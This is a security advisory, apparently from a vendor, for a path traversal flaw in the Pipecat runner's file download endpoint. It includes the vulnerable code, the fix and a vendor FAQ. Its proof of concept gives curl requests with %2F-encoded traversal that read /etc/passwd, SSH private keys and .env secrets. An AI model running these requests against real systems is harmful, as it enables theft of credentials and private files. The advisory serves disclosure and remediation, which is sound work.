CVE-2026-44716

Pipecat: Path Traversal in Pipecat Runner /files Endpoint, Arbitrary File Read via %2F-Encoded Separator

@app.get("/files/{filename:path}")
async def download_file(filename: str):
    """Handle file downloads."""
    if not args.folder:
        logger.warning(f"Attempting to dowload {filename}, but downloads folder not setup.")
        return

    file_path = Path(args.folder) / filename          # ← no containment check
    if not os.path.exists(file_path):
        raise HTTPException(404)

    media_type, _ = mimetypes.guess_type(file_path)

    return FileResponse(path=file_path, media_type=media_type, filename=filename)

GET /files/..%2F..%2Fetc%2Fpasswd
                   ↓
filename = "../../etc/passwd"          (after Starlette decodes %2F)
file_path = Path("/tmp/media") / "../../etc/passwd"
          = Path("/tmp/media/../../etc/passwd")
          → resolves to /etc/passwd    (os.path.exists returns True)

# minimal_bot.py
async def bot(runner_args):
    import asyncio
    await asyncio.sleep(86400)

if __name__ == "__main__":
    from pipecat.runner.run import main
    main()

pip install "pipecat-ai[runner,webrtc]"

mkdir /tmp/bot_media
echo "session transcript" > /tmp/bot_media/recording.txt

python minimal_bot.py \
    -t webrtc \
    --host 127.0.0.1 \
    --port 7860 \
    --folder /tmp/bot_media

# Legitimate request, serves a file inside --folder
curl "http://127.0.0.1:7860/files/recording.txt"
# → session transcript

# Literal ../, blocked by Starlette path normalisation
curl "http://127.0.0.1:7860/files/../../etc/passwd"
# → {"detail":"Not Found"}

# %2F-encoded separators, bypass normalisation, read /etc/passwd
curl "http://127.0.0.1:7860/files/..%2F..%2Fetc%2Fpasswd"
# → ## User Database
#   root:*:0:0:System Administrator:/var/root:/bin/sh
#   ...

# Read SSH private key
curl "http://127.0.0.1:7860/files/..%2F..%2F..%2Fhome%2Fuser%2F.ssh%2Fid_rsa"
# → -----BEGIN OPENSSH PRIVATE KEY-----
#   b3BlbnNzaC1rZXktdjEAAAA...

# Read application secrets
curl "http://127.0.0.1:7860/files/..%2F..%2F.env"

The --folder flag is a documented, first-class feature of the runner: the runner_downloads_folder() helper and -f / --folder CLI argument are part of the public API. The runner documentation includes LAN-deployment examples (--host 192.168.1.100 for ESP32 integration). In those deployments, any host on the local network can exploit this with zero credentials.

An attacker who can reach the runner port and knows --folder is active can retrieve any file readable by the pipecat process:

• SSH private keys and TLS certificates
• .env files and application credentials
• Database files, session tokens, API keys
• System files such as /etc/passwd and /etc/shadow (on Linux)
• Source code, config files, and secrets in parent directories of --folder

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

CVE-2026-44716 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.2.0); upgrading removes the vulnerable code path.

Kodem intelligence

Already deployed Kodem?

Call .resolve() on both the base path and the joined path, then assert containment with is_relative_to:

@app.get("/files/{filename:path}")
async def download_file(filename: str):
    if not args.folder:
        logger.warning(f"Attempting to dowload {filename}, but downloads folder not setup.")
        return

    allowed_base = Path(args.folder).resolve()
    file_path = (allowed_base / filename).resolve()   # resolve AFTER join

    if not file_path.is_relative_to(allowed_base):    # containment check
        raise HTTPException(status_code=403, detail="Access denied")
    if not file_path.exists():
        raise HTTPException(status_code=404)

    media_type, _ = mimetypes.guess_type(file_path)
    return FileResponse(path=file_path, media_type=media_type, filename=file_path.name)

Path.resolve() expands all .. components and follows symlinks before is_relative_to compares the paths, so neither %2F-encoded separators nor symlink chains can escape the allowed base.

1. What is CVE-2026-44716? CVE-2026-44716 is a high-severity path traversal vulnerability in pipecat-ai (pip), affecting versions >= 0.0.90, < 1.2.0. It is fixed in 1.2.0. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
2. How severe is CVE-2026-44716? CVE-2026-44716 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of pipecat-ai are affected by CVE-2026-44716? pipecat-ai (pip) versions >= 0.0.90, < 1.2.0 is affected.
4. Is there a fix for CVE-2026-44716? Yes. CVE-2026-44716 is fixed in 1.2.0. Upgrade to this version or later.
5. Is CVE-2026-44716 exploitable, and should I be worried? Whether CVE-2026-44716 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-44716 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-44716? Upgrade pipecat-ai to 1.2.0 or later.

Other vulnerabilities in pipecat-ai